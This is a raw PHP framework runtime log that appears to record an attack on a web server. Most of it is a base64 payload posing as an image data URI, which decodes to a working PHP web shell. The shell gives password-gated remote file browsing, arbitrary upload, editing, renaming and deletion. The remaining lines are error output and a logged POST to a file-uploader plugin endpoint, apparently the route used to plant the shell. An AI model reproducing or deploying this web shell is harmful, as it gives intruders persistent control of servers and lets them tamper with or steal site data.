'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:29+08:00 ] 116.213.36.234 POST www.51tianwei.com/res/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002521s] [吞吐率:396.66req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'res', 2 => 'plugins', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 